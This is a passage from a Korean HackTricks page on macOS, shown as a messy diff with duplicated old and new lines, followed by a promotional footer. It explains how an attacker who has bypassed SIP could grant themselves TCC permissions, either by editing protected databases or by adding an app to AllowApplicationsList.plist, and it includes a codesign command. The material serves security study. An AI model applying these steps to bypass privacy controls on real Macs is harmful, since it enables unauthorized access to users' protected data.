시스템 TCC 데이터베이스는 **SIP**에 의해 보호되므로 **지정된 엔타이틀먼트를 가진 프로세스만 수정**할 수 있습니다. 따라서, 공격자가 SIP 우회를 찾으면 파일을 수정할 수 있게 되면:
|
||||
|
||||
* TCC 데이터베이스의 보호를 **제거**하고 모든 TCC 권한을 부여할 수 있습니다. 예를 들어 다음 파일을 악용할 수 있습니다:
|
||||
* TCC 시스템 데이터베이스
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
* TCC 데이터베이스의 보호를 **제거**하고 모든 TCC 권한을 부여할 수 있습니다. 예를 들어 다음 파일 중 하나를 악용할 수 있습니다:
|
||||
* TCC 시스템 데이터베이스
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
그러나 이 **SIP 우회를 TCC 우회로 악용**할 수 있는 다른 방법이 있습니다. `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 파일은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다. 따라서, 공격자가 이 파일의 SIP 보호를 **제거**하고 **자신의 애플리케이션**을 추가하면 해당 애플리케이션이 TCC를 우회할 수 있습니다.\
|
||||
그러나, 이 **SIP 우회를 TCC 우회로 악용**할 수 있는 다른 옵션이 있습니다. `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 파일은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다. 따라서, 공격자가 이 파일의 SIP 보호를 **제거**하고 **자신의 애플리케이션**을 추가하면 해당 애플리케이션이 TCC를 우회할 수 있습니다.\
|
||||
예를 들어 터미널을 추가하려면:
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
AllowApplicationsList.plist:
|
||||
`AllowApplicationsList.plist`:
|
||||
|
||||
AllowApplicationsList.plist:
|
||||
허용된 애플리케이션 목록입니다.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -595,10 +597,10 @@ AllowApplicationsList.plist:
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 홍보하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|